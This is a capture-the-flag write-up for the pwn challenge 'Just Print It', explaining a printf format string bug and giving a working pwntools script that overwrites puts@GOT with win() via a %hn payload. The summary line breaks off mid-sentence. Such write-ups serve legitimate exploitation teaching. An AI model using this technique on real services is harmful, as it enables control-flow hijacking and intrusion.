← Back to Writeups
CUSTOMMediumPwn

Just Print It

XESXOR9/10/20263 min read
#pwn#custom#medium#format_string_write#got_overwrite#partial_got_overwrite

Just Print It

Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: format_string_write, got_overwrite, partial_got_overwrite

Summary

Walkthrough of the CUSTOM Pwn Just Print It. Task: a remote binary reads one line with fgets() and passes it directly to printf(), creating a format string bug in front of a final puts() call. Solution: place puts@GOT on the stack, use %8$hn to

Challenge

A server at nc.umbccd.net:8925 reads input with fgets into a 128-byte buffer and then calls printf(buffer), followed by puts("\nGoodbye!"). The provided source also contains a win() function that opens flag.txt and prints it.

We are given a small 64-bit ELF source and a remote service running it. The objective is to turn the unsafe printf(buffer) into code execution and redirect the program into win(), which prints the flag and exits.

Analysis

The bug is a classic format string vulnerability:

c
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
puts("\nGoodbye!");

Because our input becomes the format string itself, we control both reads from the stack (%p, %x, positional arguments) and writes through %n-style specifiers. That makes the immediately following puts() call the perfect control-flow target: if we overwrite puts@GOT with win, the next call transfers execution straight into the flag routine.

The useful addresses were:

  • puts@got = 0x404000
  • win = 0x401196

Only the low 16 bits needed to change. Writing 0x1196 into puts@GOT with %hn was enough because the higher bytes already matched the same binary/PLT region.

Reconnaissance

The key reconnaissance step was finding where an appended pointer appears in printf's argument list. By padding the format string portion to 16 bytes and then appending an 8-byte address, the controlled qword became reachable as positional argument 8.

That gives a stable primitive of the form:

text
%<count>c%8$hn + <8-byte destination address>

Since win = 0x401196, we need printf to have emitted 0x1196 = 4502 characters before %8$hn executes. Therefore the final write count is produced with %4502c.

Exploitation Strategy

  1. Use the format string to place puts@GOT on the stack as argument 8.
  2. Print 4502 characters so the current byte count becomes 0x1196.
  3. Execute %8$hn to write those low two bytes into 0x404000.
  4. Let the program continue normally.
  5. The next puts("\nGoodbye!") resolves through the overwritten GOT entry and jumps to win() instead.

This is cleaner than building a larger payload because the binary already calls the function we want to hijack immediately after the vulnerable sink.

Final Exploit

python
#!/usr/bin/env python3
from pwn import *

HOST, PORT = 'nc.umbccd.net', 8925
PUTS_GOT = 0x404000


def main():
    payload = b'%4502c%8$hn'.ljust(16, b'A') + p64(PUTS_GOT)
    io = remote(HOST, PORT, timeout=5)
    io.sendline(payload)
    print(io.recvall(timeout=2).decode('latin-1', 'replace'))


if __name__ == '__main__':
    main()

The service returns output containing:

text
Flag: DawgCTF{REDACTED}

Key Takeaways / Lessons

  • Mastering format_string_write, got_overwrite, partial_got_overwrite was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-10 • CUSTOM • Just Print It • Difficulty: Medium